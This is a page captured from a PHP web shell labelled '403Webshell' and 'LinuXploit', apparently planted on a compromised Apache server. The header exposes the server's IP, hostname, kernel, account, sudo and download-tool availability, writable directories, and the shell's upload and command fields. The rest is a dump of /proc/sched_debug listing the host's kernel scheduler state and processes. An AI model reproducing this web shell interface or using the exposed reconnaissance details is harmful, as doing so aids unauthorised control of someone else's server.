403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/sched_debug
Sched Debug Version: v0.11, 5.10.0-37-cloud-amd64 #1
ktime                                   : 16518085637.933301
sched_clk                               : 16516945742.866601
cpu_clk                                 : 16516945731.902263
jiffies                                 : 8424413629
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 16722747
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 2199.998 MHz
  .nr_running                    : 3
  .nr_switches                   : 4777556726
  .nr_uninterruptible            : 32329
  .next_balance                  : 8424.413633
  .curr->pid                     : 3156619
  .clock                         : 16516945731.300509
  .clock_task                    : 16516945731.300509
  .avg_idle                      : 4245684
  .max_idle_balance_cost         : 3978386

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 1085158711.239901
  .min_vruntime                  : 1085158711.239901
  .max_vruntime                  : 1085158721.944033
  .spread                        : 10.704132
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 3
  .load                          : 3145728
  .load_avg                      : 3155
  .runnable_avg                  : 3155
  .util_avg                      : 1025
  .util_est_enqueued             : 161
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1 1085152986.047085   3532927   120         0.000000   1825960.728551         0.000000 0 0 /
 I          rcu_gp     3       118.137454         2   100         0.000000         0.004105         0.000000 0 0 /
 I      rcu_par_gp     4       119.638443         2   100         0.000000         0.002665         0.000000 0 0 /
 I    kworker/0:0H     6       493.222987         4   100         0.000000         0.047258         0.000000 0 0 /
 S rcu_tasks_rude_     9       128.393667         2   120         0.000000         0.002201         0.000000 0 0 /
 S rcu_tasks_trace    10       130.432900         2   120         0.000000         0.040451         0.000000 0 0 /
 S     ksoftirqd/0    11 1085158698.721866   8794687   120         0.000000    920325.946330         0.000000 0 0 /
 I       rcu_sched    12 1085158698.528051  97963353   120         0.000000   2063022.964310         0.000000 0 0 /
 S     migration/0    13         0.000000   4146354     0         0.000000     91344.496031         0.000000 0 0 /
 S         cpuhp/0    15      2578.868379         8   120         0.000000         0.229234         0.000000 0 0 /
 I           netns    24       193.376062         2   100         0.000000         0.000000         0.000000 0 0 /
 S         kauditd    25 798073045.929505        16   120         0.000000       153.380569         0.000000 0 0 /
 S      khungtaskd    26 1085083358.640872    136708   120         0.000000      9838.347055         0.000000 0 0 /
 S      oom_reaper    27 1072216051.015776        54   120         0.000000       543.132829         0.000000 0 0 /
 S      kcompactd0    29 1085158484.001530  32549508   120         0.000000  12534695.404334         0.000000 0 0 /
 I         kblockd    52       387.180489         2   100         0.000000         0.000000         0.000000 0 0 /
 I    kworker/0:1H    54 1085156018.488590  11633650   100         0.000000    396864.465661         0.000000 0 0 /
 S         kswapd0    55 1085149338.619197   2413943   120         0.000000  12563729.088280         0.000000 0 0 /
 I acpi_thermal_pm    57       811.247495         2   100         0.000000         0.035753         0.000000 0 0 /
 I   nvme-reset-wq    59       817.333746         2   100         0.000000         0.033277         0.000000 0 0 /
 I   ipv6_addrconf    61       853.567403         2   100         0.000000         0.037946         0.000000 0 0 /
 I    kworker/u5:0    76       893.702135         2   100         0.000000         0.048085         0.000000 0 0 /
 S     jbd2/sda1-8   153 1085156228.779778  49424265   120         0.000000   3614380.338180         0.000000 0 0 /
 I      tpm_dev_wq   218      2168.748373         2   100         0.000000         0.010000         0.000000 0 0 /
 I          cryptd   236      2428.849660         2   100         0.000000         0.045211         0.000000 0 0 /
 S        dhclient   321      2918.207930        35   120         0.000000        12.015441         0.000000 0 0 /
 S      isc-socket   332 1085086005.102588     24155   120         0.000000      4124.001767         0.000000 0 0 /
 S        dhclient   425      3149.887775         4   120         0.000000         5.494859         0.000000 0 0 /
 S  isc-worker0000   426 1085102831.915539    157173   120         0.000000     94135.950204         0.000000 0 0 /
 S       isc-timer   428 1085102831.777125    277316   120         0.000000     24564.136697         0.000000 0 0 /
 S     dbus-daemon   486 1085152985.898694   1967700   120         0.000000    833785.051025         0.000000 0 0 /
 S google_cloud_op   499      6003.129111       834   120         0.000000       211.096079         0.000000 0 0 /
 S google_cloud_op   587      5997.196670       567   120         0.000000        38.094291         0.000000 0 0 /
 S google_cloud_op   588 1084930741.440106   2165800   120         0.000000    646611.583176         0.000000 0 0 /
 S google_cloud_op   590      6003.224762         2   120         0.000000         0.217261         0.000000 0 0 /
 S google_cloud_op   784 1085132261.320808   1523240   120         0.000000    506965.157744         0.000000 0 0 /
 S google_cloud_op 3697170 980472383.952277   2297960   120         0.000000    784549.881305         0.000000 0 0 /
 S google_osconfig   501 1079733843.488718       340   120         0.000000        62.033546         0.000000 0 0 /
 S google_osconfig   531 1085157565.271000  55153529   120         0.000000   1595948.291223         0.000000 0 0 /
 S google_osconfig   534 1085157565.246888   6173085   120         0.000000   1077478.477836         0.000000 0 0 /
 S google_osconfig   535 1085155566.375900   6150042   120         0.000000   1087711.348300         0.000000 0 0 /
 S google_osconfig   592 1042345349.604831        50   120         0.000000         3.580275         0.000000 0 0 /
 S google_osconfig   601      5074.265774         1   120         0.000000         0.036149         0.000000 0 0 /
 S google_osconfig   602 1085155794.038134   6272157   120         0.000000   1132337.653564         0.000000 0 0 /
 S google_osconfig   608 1076953105.618614   6003589   120         0.000000   1086418.514747         0.000000 0 0 /
 S google_osconfig 19504 1085123934.978385   6294008   120         0.000000   1134858.475588         0.000000 0 0 /
 S networkd-dispat   504      5207.804271       320   120         0.000000       179.326732         0.000000 0 0 /
 S        rsyslogd   506 1085137802.021287     29938   120         0.000000      5548.751298         0.000000 0 0 /
 S unattended-upgr   520      5296.556873       321   120         0.000000       179.100069         0.000000 0 0 /
 S           gmain   691      5304.325986         1   120         0.000000         0.092216         0.000000 0 0 /
 S google_guest_ag   524      5036.741215       225   120         0.000000        46.781112         0.000000 0 0 /
 S google_guest_ag   581 1085156688.635973   4109837   120         0.000000    671034.797857         0.000000 0 0 /
 S google_guest_ag   582      5031.693182       277   120         0.000000         6.844789         0.000000 0 0 /
 S google_guest_ag   594 717060298.320737         3   120         0.000000         0.112230         0.000000 0 0 /
 S google_guest_ag   596 1085156688.677306   4221301   120         0.000000    635612.519283         0.000000 0 0 /
 S         chronyd   532      4735.051632         4   120         0.000000         1.773391         0.000000 0 0 /
 S  systemd-logind   690 1085152985.768528   2039387   120         0.000000    490225.879184         0.000000 0 0 /
 S            cron   696 1085138723.859924    331050   120         0.000000     84543.007460         0.000000 0 0 /
 S      otelopscol   858 1085151345.704377  12692044   120         0.000000   8850151.297582         0.000000 0 0 /
 S      otelopscol   859     10353.918039       410   120         0.000000        10.114312         0.000000 0 0 /
 S      otelopscol   860     10358.124131         6   120         0.000000         0.381858         0.000000 0 0 /
 S      otelopscol   862     10357.983648       193   120         0.000000        67.452359         0.000000 0 0 /
 S      otelopscol   889 1049770114.224587  17066322   120         0.000000  11078110.676249         0.000000 0 0 /
 S      otelopscol   890 1085141521.179166  17794018   120         0.000000  11702747.856431         0.000000 0 0 /
 S google_cloud_op   852 1085155564.333680   3634091   120         0.000000    213379.352115         0.000000 0 0 /
 S google_cloud_op   854      8194.995582       650   120         0.000000        42.967203         0.000000 0 0 /
 S google_cloud_op   855      8175.484484       271   120         0.000000        10.661684         0.000000 0 0 /
 S google_cloud_op   856      6521.825966         1   120         0.000000         0.058721         0.000000 0 0 /
 S google_cloud_op   864 1085155562.814567    970740   120         0.000000    316996.773070         0.000000 0 0 /
 S google_cloud_op   865 1085155562.773516   1615988   120         0.000000    418430.340051         0.000000 0 0 /
 S google_cloud_op 25243 1085149095.410585   1391336   120         0.000000    401272.703165         0.000000 0 0 /
 S google_cloud_op 183122 1084608994.128477    595722   120         0.000000    170628.277916         0.000000 0 0 /
 S      fluent-bit   863 1085158479.387605  16525913   120         0.000000    712891.452983         0.000000 0 0 /
 S    flb-pipeline   866 1085158698.544379 623938158   120         0.000000  42083641.757064         0.000000 0 0 /
 S flb-out-stackdr   868 1085158478.088302  12429489   120         0.000000    435217.603511         0.000000 0 0 /
 S flb-out-stackdr   869 1085158478.088703  12423741   120         0.000000    426916.010656         0.000000 0 0 /
 S flb-out-stackdr   870 1085158478.087428  12420500   120         0.000000    432596.393684         0.000000 0 0 /
 S flb-out-stackdr   871 1085158478.089363  12420465   120         0.000000    429847.961368         0.000000 0 0 /
 S flb-out-stackdr   872 1085158478.087840  12423385   120         0.000000    428412.151932         0.000000 0 0 /
 S flb-out-stackdr   873 1085158478.088262  12417412   120         0.000000    436128.904913         0.000000 0 0 /
 S flb-out-stackdr   874 1085158478.087374  12417395   120         0.000000    430742.722066         0.000000 0 0 /
 S flb-out-stackdr   875 1085158478.087002  12417722   120         0.000000    426790.774985         0.000000 0 0 /
 S flb-out-stackdr   876 1085158478.088705  12205093   120         0.000000    294522.720359         0.000000 0 0 /
 S flb-out-stackdr   877 1085158478.093311  12206508   120         0.000000    286699.738335         0.000000 0 0 /
 S flb-out-stackdr   878 1085158478.088455  12166647   120         0.000000    290358.663280         0.000000 0 0 /
 S flb-out-stackdr   879 1085158478.087963  12216813   120         0.000000    290654.483134         0.000000 0 0 /
 S flb-out-stackdr   880 1085158478.088586  12219727   120         0.000000    290401.629451         0.000000 0 0 /
 S flb-out-stackdr   881 1085158478.088518  12214129   120         0.000000    290600.984971         0.000000 0 0 /
 S flb-out-stackdr   882 1085158478.087366  12214601   120         0.000000    289217.476955         0.000000 0 0 /
 S flb-out-stackdr   883 1085158478.088726  12199789   120         0.000000    297173.983745         0.000000 0 0 /
 S   monkey: clock   885 1085158459.921593  16533177   120         0.000000   1039746.450121         0.000000 0 0 /
 S   monkey: wrk/0   886 1085155566.336209   1945387   120         0.000000    229515.977952         0.000000 0 0 /
 I        xfsalloc 2479487  30262266.465845         2   100         0.000000         0.038891         0.000000 0 0 /
 S           exim4 3392012 1084565041.240338     11815   120         0.000000      5272.458749         0.000000 0 0 /
 S         haveged 3392664 1085158010.254002   2470480   120         0.000000    224997.110098         0.000000 0 0 /
 S         apache2   641 1085158476.886135   4514964   120         0.000000   2312377.739242         0.000000 0 0 /
 I     kworker/0:1 3113247 1085158484.048898    169014   120         0.000000     34881.280137         0.000000 0 0 /
 S systemd-journal 3119900 1085129103.704849     10566   120         0.000000     14834.739230         0.000000 0 0 /
 S      ib_io_rd-2 3120008 1085158481.849395     47300   120         0.000000      5848.793123         0.000000 0 0 /
 S      ib_io_rd-3 3120009 1085158488.402159     47379   120         0.000000      7207.255424         0.000000 0 0 /
 S      ib_io_wr-1 3120011 1085158486.475424     57088   120         0.000000      9686.126167         0.000000 0 0 /
 S      ib_io_wr-2 3120012 1085158481.867594     57397   120         0.000000      9005.192616         0.000000 0 0 /
 S      ib_io_wr-3 3120013 1085158488.415984     57221   120         0.000000      7725.409024         0.000000 0 0 /
 S      ib_io_wr-4 3120014 1085158488.401488     56857   120         0.000000      9194.082673         0.000000 0 0 /
 S  ib_pg_flush_co 3120015 1085158479.400577     48824   120         0.000000     18113.460821         0.000000 0 0 /
 S  ib_log_checkpt 3120094 1085158479.379263     28894   120         0.000000      7027.506006         0.000000 0 0 /
 S ib_log_fl_notif 3120095 1085158698.507631    190575   120         0.000000     11630.050469         0.000000 0 0 /
 S    ib_log_flush 3120096 1085158698.529143    210157   120         0.000000     17116.701413         0.000000 0 0 /
 S ib_log_wr_notif 3120097 1085158698.509219    187715   120         0.000000     11991.538609         0.000000 0 0 /
 S   ib_log_writer 3120098 1085158698.511682    190853   120         0.000000     18468.709681         0.000000 0 0 /
 S  ib_log_files_g 3120099 1085158701.384763    883049   120         0.000000    197889.547639         0.000000 0 0 /
 S      ib_srv_mon 3120107 1085155799.899501      3065   120         0.000000      2997.284702         0.000000 0 0 /
 S   ib_buf_resize 3120806 1072275588.615748         2   120         0.000000         0.217600         0.000000 0 0 /
 S     ib_src_main 3120807 1085158467.970305     25123   120         0.000000     11311.619331         0.000000 0 0 /
 S   ib_dict_stats 3120808 1085154324.989330      8217   120         0.000000      5890.547167         0.000000 0 0 /
 S      ib_fts_opt 3120809 1085157335.758343      7225   120         0.000000      5214.398551         0.000000 0 0 /
 S    xpl_worker-2 3120812 1085137063.641992      1242   120         0.000000      1422.331236         0.000000 0 0 /
 S   ib_clone_gtid 3120823 1085158698.520730    131177   120         0.000000     11602.906265         0.000000 0 0 /
 S    ib_srv_purge 3120824 1084922066.678429    185694   120         0.000000     10479.141630         0.000000 0 0 /
 S    ib_srv_wkr-2 3120826 1084922060.297489     22451   120         0.000000      1937.502917         0.000000 0 0 /
 S     sig_handler 3120832 1072277132.090359         5   120         0.000000         0.100434         0.000000 0 0 /
 S    xpl_accept-2 3120833 1072277135.952199         3   120         0.000000         0.060589         0.000000 0 0 /
 S      connection 3120839 1085158700.115868    243877   120         0.000000    382496.504077         0.000000 0 0 /
 S      connection 3149039 1085158462.607796     66661   120         0.000000    122730.615045         0.000000 0 0 /
 S      connection 3154778 1085158481.907822     19390   120         0.000000     34369.516225         0.000000 0 0 /
 S      connection 3155624 1085158479.499232     16435   120         0.000000     30335.737110         0.000000 0 0 /
 S      connection 3156177 1085155799.313553      8513   120         0.000000     18891.948978         0.000000 0 0 /
 S      php-fpm8.1 3143827 1085158491.527072     11425   120         0.000000     13646.751429         0.000000 0 0 /
 I    kworker/u4:5 3154243 1085158488.190618       438   120         0.000000        33.779836         0.000000 0 0 /
 I     kworker/0:0 3156283 1084741947.216753        61   120         0.000000        11.297935         0.000000 0 0 /
 S         apache2 3156309 1085158484.701749      1005   120         0.000000      2598.009670         0.000000 0 0 /
 I    kworker/u4:1 3156496 1085158488.172148       259   120         0.000000        21.580544         0.000000 0 0 /
 S         apache2 3156539 1085158463.353777      1017   120         0.000000      1327.328428         0.000000 0 0 /
 S         apache2 3156588 1085158014.554857       524   120         0.000000      1562.433863         0.000000 0 0 /
 S         apache2 3156592 1085158484.278367       610   120         0.000000      1781.844892         0.000000 0 0 /
 S         apache2 3156599 1085158464.506473       291   120         0.000000      1811.844262         0.000000 0 0 /
 S         apache2 3156612 1085158699.014870       377   120         0.000000       618.598027         0.000000 0 0 /
>R      php-fpm8.1 3156619 1085158707.832746      5619   120         0.000000     24474.773044         0.000000 0 0 /
 S         apache2 3156641 1085155566.544677       209   120         0.000000       312.611547         0.000000 0 0 /
 S      php-fpm8.1 3156645 1085158699.633687      4441   120         0.000000     16280.921374         0.000000 0 0 /
 S      php-fpm8.1 3156647 1085158490.121682      4333   120         0.000000     17149.719032         0.000000 0 0 /
 R         apt-get 3156654 1085158721.944033       244   120         0.000000      1451.947250         0.000000 0 0 /
 S         apache2 3156791 1085158463.379700        69   120         0.000000       265.376450         0.000000 0 0 /
 S      php-fpm8.1 3157101 1085158498.796606       791   120         0.000000      4805.148410         0.000000 0 0 /
 S         apache2 3157114 1085158011.979094        39   120         0.000000        26.664699         0.000000 0 0 /
 S         apache2 3157143 1085155566.593191        29   120         0.000000        18.724590         0.000000 0 0 /
 S         apache2 3157144 1085158698.934791        35   120         0.000000       243.435270         0.000000 0 0 /
 R         apache2 3157156 1085158711.239901        47   120         0.000000       247.504927         0.000000 0 0 /
 S         apache2 3157358 1085158698.656252        13   120         0.000000         9.155803         0.000000 0 0 /

cpu#1, 2199.998 MHz
  .nr_running                    : 3
  .nr_switches                   : 4804344814
  .nr_uninterruptible            : -32329
  .next_balance                  : 8424.413641
  .curr->pid                     : 3156649
  .clock                         : 16516945729.989286
  .clock_task                    : 16516945729.989286
  .avg_idle                      : 6148646
  .max_idle_balance_cost         : 2932725

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 1077523115.834388
  .min_vruntime                  : 1077522919.369174
  .max_vruntime                  : 1077523126.355889
  .spread                        : 10.521501
  .spread0                       : -7635791.870727
  .nr_spread_over                : 0
  .nr_running                    : 3
  .load                          : 3145728
  .load_avg                      : 3176
  .runnable_avg                  : 3176
  .util_avg                      : 1022
  .util_est_enqueued             : 549
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S        kthreadd     2 1077255630.680345     78745   120         0.000000      9787.905468         0.000000 0 0 /
 I    mm_percpu_wq     8 1039429315.281038        22   100         0.000000         0.484787         0.000000 0 0 /
 S         cpuhp/1    16      1702.355467         8   120         0.000000         3.352078         0.000000 0 0 /
 S     migration/1    17         0.000000   4146828     0         0.000000     90674.773702         0.000000 0 0 /
 S     ksoftirqd/1    18 1077522906.368673  10177584   120         0.000000   1097492.180596         0.000000 0 0 /
 I    kworker/1:0H    20      1029.141794         5   100         0.000000         0.044079         0.000000 0 0 /
 S       kdevtmpfs    23  29318549.573036       128   120         0.000000         3.390880         0.000000 0 0 /
 I       writeback    28 1076308847.287486       730   100         0.000000       354.105984         0.000000 0 0 /
 S            ksmd    30        61.527375         2   125         0.000000         0.113584         0.000000 0 0 /
 S      khugepaged    31 1077512278.184579   2356162   139         0.000000    457740.069499         0.000000 0 0 /
 I     kintegrityd    51        73.528558         2   100         0.000000         0.000000         0.000000 0 0 /
 I  blkcg_punt_bio    53        73.528558         2   100         0.000000         0.000000         0.000000 0 0 /
 I        kthrotld    56       450.950160         2   100         0.000000         0.061166         0.000000 0 0 /
 I         nvme-wq    58       475.881813         2   100         0.000000         0.059887         0.000000 0 0 /
 I  nvme-delete-wq    60       481.948727         2   100         0.000000         0.025234         0.000000 0 0 /
 I           kstrp    71       525.699426         2   100         0.000000         0.034274         0.000000 0 0 /
 S       scsi_eh_0   112       844.856258         2   120         0.000000         0.007096         0.000000 0 0 /
 I      scsi_tmf_0   113       847.855162         2   100         0.000000         0.010763         0.000000 0 0 /
 I    kworker/1:1H   133 1077520256.632229  35749008   100         0.000000   1189723.909890         0.000000 0 0 /
 I ext4-rsv-conver   154 1076308847.283922       182   100         0.000000        96.467243         0.000000 0 0 /
 S           hwrng   165 1077476069.481281    322684   120         0.000000     22128.296912         0.000000 0 0 /
 S  isc-worker0000   331 1077445440.427573     95242   120         0.000000     41384.509326         0.000000 0 0 /
 S       isc-timer   333 1077445440.260572     42726   120         0.000000      5752.004655         0.000000 0 0 /
 S      isc-socket   427      2580.485214         2   120         0.000000         0.086117         0.000000 0 0 /
 S google_cloud_op   586 1077517249.113929  22093265   120         0.000000    649916.413030         0.000000 0 0 /
 S google_cloud_op   812 1077517249.088549   2946961   120         0.000000    963068.258279         0.000000 0 0 /
 S google_cloud_op   813 1077517249.135404   2886126   120         0.000000    960107.885374         0.000000 0 0 /
 S     in:imuxsock   521 1077489051.279021   1809771   120         0.000000    156054.496806         0.000000 0 0 /
 S       in:imklog   522 1077098989.622558     10056   120         0.000000      6520.007963         0.000000 0 0 /
 S   rs:main Q:Reg   523 1077489051.275992   1889799   120         0.000000    297479.428139         0.000000 0 0 /
 S          agetty   513      8120.728390        10   120         0.000000         4.602640         0.000000 0 0 /
 S          agetty   514      8154.238729        15   120         0.000000         4.660779         0.000000 0 0 /
 S google_guest_ag   580 1077520856.544402  25408073   120         0.000000    817897.010467         0.000000 0 0 /
 S google_guest_ag   591 1077440989.728049   4078135   120         0.000000    657178.310881         0.000000 0 0 /
 S google_guest_ag   595 1077099635.221172   4103181   120         0.000000    637584.991906         0.000000 0 0 /
 S google_guest_ag   676      9072.269646        51   120         0.000000         5.652283         0.000000 0 0 /
 S         chronyd   530 1077445003.653932     57881   120         0.000000     28099.871254         0.000000 0 0 /
 S      otelopscol   834 1077520856.584637  13707730   120         0.000000   9612839.104796         0.000000 0 0 /
 S      otelopscol   857 1077520856.572606 143387762   120         0.000000   3878079.508839         0.000000 0 0 /
 S      otelopscol   888 1077520850.849093  14146692   120         0.000000   9959191.416053         0.000000 0 0 /
 S google_cloud_op   835 995919742.085829   1265114   120         0.000000    324892.554905         0.000000 0 0 /
 S google_cloud_op   853     12070.727633       245   120         0.000000        13.433244         0.000000 0 0 /
 S      flb-logger   867 1073193654.778854       402   120         0.000000        29.255219         0.000000 0 0 /
 S  monkey: server   884     12813.676865         4   120         0.000000         1.057809         0.000000 0 0 /
 I   xfs_mru_cache 2479488  29318464.881807         2   100         0.000000         0.043582         0.000000 0 0 /
 S   systemd-udevd 1504622 1077444544.108678     85025   120         0.000000     35005.134089         0.000000 0 0 /
 S            sshd 950069 1077489040.739931    767088   120         0.000000    358575.422566         0.000000 0 0 /
 S          mysqld 3119931 1077522905.356552    169335   120         0.000000     57885.968243         0.000000 0 0 /
 S      ib_io_ibuf 3120004 1077522899.059357     47229   120         0.000000      8251.586042         0.000000 0 0 /
 S      ib_io_rd-1 3120007 1077522905.312207     47361   120         0.000000      5873.006776         0.000000 0 0 /
 S      ib_io_rd-4 3120010 1077522893.474265     47227   120         0.000000      7859.925572         0.000000 0 0 /
 S  ib_srv_lock_to 3120105 1077522903.730577     25469   120         0.000000      5979.879629         0.000000 0 0 /
 S  ib_srv_err_mon 3120106 1077522905.339148     25527   120         0.000000      7155.562871         0.000000 0 0 /
 S    xpl_worker-1 3120811 1077484151.099853      1467   120         0.000000      1277.342054         0.000000 0 0 /
 S    xpl_accept-1 3120813 1077522908.164422     26209   120         0.000000      8395.674613         0.000000 0 0 /
 S     ib_buf_dump 3120822 1064983832.969132        28   120         0.000000         4.218374         0.000000 0 0 /
 S    ib_srv_wkr-1 3120825 1077278373.961853     18791   120         0.000000      1373.722521         0.000000 0 0 /
 S    ib_srv_wkr-3 3120827 1077278373.973866     20470   120         0.000000      1660.550973         0.000000 0 0 /
 S       evt_sched 3120831 1064984720.966688         1   120         0.000000         0.363102         0.000000 0 0 /
 S        gtid_zip 3120835 1064984727.948828         1   120         0.000000         0.382971         0.000000 0 0 /
 R      connection 3123317 1077523126.355889    219363   120         0.000000    383495.068574         0.000000 0 0 /
 S      connection 3132603 1077522899.906642    164978   120         0.000000    278246.697653         0.000000 0 0 /
 S      connection 3147840 1077522891.229331     73578   120         0.000000    135121.868764         0.000000 0 0 /
 S      connection 3149237 1077522900.339320     59903   120         0.000000    111105.539383         0.000000 0 0 /
 I     kworker/1:0 3127254 1077255634.246711     90861   120         0.000000      3085.245014         0.000000 0 0 /
 I    kworker/u4:3 3153884 1077311493.770700       727   120         0.000000        52.639458         0.000000 0 0 /
 S         apache2 3155704 1077522015.130314      1751   120         0.000000      6364.161688         0.000000 0 0 /
 S         apache2 3156488 1077522909.687698      1678   120         0.000000      4657.936427         0.000000 0 0 /
 I     kworker/1:2 3156550 1077522906.234695      1145   120         0.000000        13.347383         0.000000 0 0 /
 S         apache2 3156598 1077522891.656466       478   120         0.000000      1541.353040         0.000000 0 0 /
 S         apache2 3156601 1077522015.165064       456   120         0.000000      1125.316659         0.000000 0 0 /
 S         apache2 3156605 1077522906.245353       292   120         0.000000      1007.082884         0.000000 0 0 /
 S         apache2 3156610 1077522239.258622       319   120         0.000000       384.652922         0.000000 0 0 /
 R      php-fpm8.1 3156616 1077523115.834388      6660   120         0.000000     26227.966755         0.000000 0 0 /
 S         apache2 3156639 1077522015.480689       343   120         0.000000       747.087945         0.000000 0 0 /
 S         apache2 3156644 1077522459.265994       187   120         0.000000       538.809797         0.000000 0 0 /
 S         apache2 3156646 1077522238.886441       203   120         0.000000       754.370637         0.000000 0 0 /
 S         apache2 3156648 1077522459.641244       477   120         0.000000      1399.007726         0.000000 0 0 /
>R         apache2 3156649 1077522919.369174       266   120         0.000000       608.490086         0.000000 0 0 /
 S         apache2 3157098 1077522238.862105        53   120         0.000000       479.480889         0.000000 0 0 /
 S         apache2 3157317 1077522891.227213        24   120         0.000000       233.008740         0.000000 0 0 /
 S         apache2 3157357 1077522015.280072         8   120         0.000000         8.404700         0.000000 0 0 /


Youez - 2016 - github.com/yon3zu
LinuXploit